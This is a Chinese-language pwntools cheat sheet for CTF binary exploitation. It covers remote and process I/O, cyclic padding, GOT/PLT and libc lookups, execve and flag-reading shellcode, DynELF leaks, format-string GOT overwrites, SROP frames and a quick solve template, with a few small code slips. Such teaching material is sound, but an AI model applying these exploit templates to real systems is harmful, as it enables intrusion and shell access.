PWNtools模板

pwntools工具的使用

引入pwntools库

1
2
3
# 虽然不太符合pylint代码规范
# 但官方也推荐这样引用
from pwn import *

基本的输入输出和交互

绑定要处理的程序

1
2
3
4
5
6
7
# 远程
# remote(ip/hostname, port)
p = remote("127.0.0.1", 8888)

# 本地
# 注意process中参数一定要有./
p = process("./pwn")

设置上下文环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 设置上下文环境主要用于一些需要上下文的漏洞利用
# 比如:shellcode的生成

# 设置操作系统
context.os = "linux"
# 设置32位的体系架构
context.arch = "i386"
# 设置64位的体系架构
context.arch = "amd64"
# 打印交互中的输入和输出
context.log_level = "debug"
# 也可以直接这样写
context(os="linux", arch="amd64", lod_level="debug")

# 清空之前的上下文
context.clear()
# 清空之前的上下文并设置为64位的体系架构
context.clear(arch="amd64")


获取程序输出

1
2
3
4
5
6
p.recv()        # 默认接受最大为4096字节的输出
p.recvline() # 接受程序的一行输出
p.recvall() # 接受程序的当前全部输出,直到遇到EOF
# 直到接收到\n为止,drop=True表示丢弃\n,buf为接收到的输出但不包括丢弃的\n
buf = p.recvuntil("\n", drop=True)
libc_leak = u64(recv(num)[:6].ljust(8, b'\x00')) #通过方法泄露程序的地址然后解包

payload的构造

1
2
3
4
pad = cyclic(0x10)
# 可以用上面的代码替代传统的构造方式 pad = b"A" * 0x10
# 其结果为 b'aaaabaaacaaadaaa'
offset = cyclic_find(b"daaa") # 找到当前pad的偏移值

实现输入

1
2
3
4
5
payload = b'hello!'      # python3,payload为字节类型
p.sendline(payload) # 输入hello! + \n
p.send(payload) # 输入hello!
p.sendafter("test", payload) # 在接受到test后才发送payload
p.sendlineafter("test", payload) # 在接受到test后才发送payload + \n

实现交互

1
2
3
# 开启和程序交互的终端
# 一般用于获取到shell的情况
p.interactive()

获取程序或者libc中的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

pro = ELF("./program") # 加载样本
libc = ELF("./libc") # 加载libc

read_addr = pro.symbols["read"] # 获取read函数地址
read_plt = pro.plt["read"] # 获取read的plt表地址,内容等于symbols["read"]
read_got = pro.got["read"] # 获取read的got表地址
# search的参数为字节类型
# 获取字符串的位置
str_addr = next(pro.search(b"str"))

read_offset = libc.symbols["read"] # 获取libc中read的固定偏移值
bin_sh = next(libc.search(b"/bin/sh\x00")) # 获取/bin/sh的位置

shellcode的生成

1
2
3
4
5
6
7
# 32位的shellcode
from pwn import *

# 配置上下文
context(os="linux", arch="i386", log_level="debug")
code = shellcraft.sh() # 汇编代码
code = asm(code) # opcode,payload中都使用这个
1
2
3
4
5
6
7
# 64位的shellcode
from pwn import *

# 配置上下文
context(os="linux", arch="amd64", log_level="debug")
code = shellcraft.sh() # 同上
code = asm(code) # 同上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

# 上面是执行execve("/bin/sh\x00")的shellcode
# 下面展示直接读取flag文件然后打印的shellcode
context(os="linux", arch="amd64")
mmap = 0x12345678 # 可读可写内存区域

code = shellcraft.open("./flag")
code += shellcraft.read(3, mmap, 0x50)
code += shellcraft.write(1, mmap, 0x50)
code = asm(code)

# 更简洁的写法
code = asm(shellcraft.cat("flag"))

DynELF泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 下面展示的是DynELF的使用模板
from pwn import *

p = process("./pwn")
pro = ELF("./pwn")

def leak(addr):
# 这里的代码比较抽象
# 其实目的就是利用能够回显字符的函数泄露addr,返回地址为start
# data接受的数据只能是回显的addr地址上的内容,将空字符处理为\x00
payload = padding + addr + start
p.send(payload)
data = p.recv()
return data

# 构造DynELF实例,第一个参数为leak函数,第二个为题目的ELF对象
d = DynELF(leak, elf=pro)
system = d.lookup("system", "libc") # 泄露出system的地址
print("system ====> ", system, hex(system))

# 实战链接
# https://blog.csdn.net/A951860555/article/details/111638914
# 详细的用法讲解,包括write/puts/printf三个函数的用法和细节处理
# https://www.anquanke.com/post/id/85129

FormatStr格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

# 交互函数
def exec_fmt(pad):
p = process("./pwn")
p.sendline(pad)
info = p.recv()
return info

# 这里可以和上面的DynELF类比
fmt = FmtStr(exec_fmt)
offset = fmt.offset # 获取偏移

p = process("./pwn")
pro = ELF("./pwn")
printf_got = pro.got["printf"]
system_plt = pro.plt["system"]
# 格式化payload构造函数
# 总共四个参数:
# offset --> 偏移量
# writes --> {被覆盖的地址:要写入的地址}
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pad = fmtstr_payload(offset, {printf_got:system_plt})
p.send(pad)

# 详细的介绍链接 + 例子
# https://blog.csdn.net/A951860555/article/details/115061803

SROP工具SigreturnFrame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

# 64位
# sigreturn 代表可以触发sigreturn调用的地址
# 其gadgets如下,只要使rax = 0xf,然后进行系统调用
"""
0x001 mov rax, 0Fh
0x002 syscall
0x003 ret
"""
sigreturn = 0x001
syscall = 0x002 # syscall gadget

context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pad = padding + bytes(frame) # python3
p.send(pad)
p.interactive()

# 32位注意以下几个方面
# 1、上下文初始化
# context.arch = "i386"
# frame = SigreturnFrame(kernel="i386")
# 2、frame.eax = xx 注意寄存器的名字
# 3、syscall指令在32位下可以找int 80

pwntools简化模板

 在做题的时候,我们的目的是快速的解出题目,使用下面简化后的函数名称和预制的代码,这样可以帮助每次做题时快速完成解题脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import sys
import os
import os.path
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h']
print "Welcome to Min Li's simplified pwntools template!!!"
print "Usage : \n"
print " 1. python mode.py HOST PORT\n "
print " 2. python mode.py PATH\n"
print " 3. python mode.py PATH libc_path ld_path"

if len(sys.argv) == 3:#设置调试文件或者是remote
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])

p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
if len(sys.argv) == 4:
PATH = sys.argv[1]
libc_path = sys.argv[2]
ld_path = sys.argv[3]
p = process("PATH", env={"LD_PRELOAD":libc_path})


def debug():#debug
gdb.attach(proc.pidof(p)[0],gdbscript="b __libc_start_main")
pause()

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()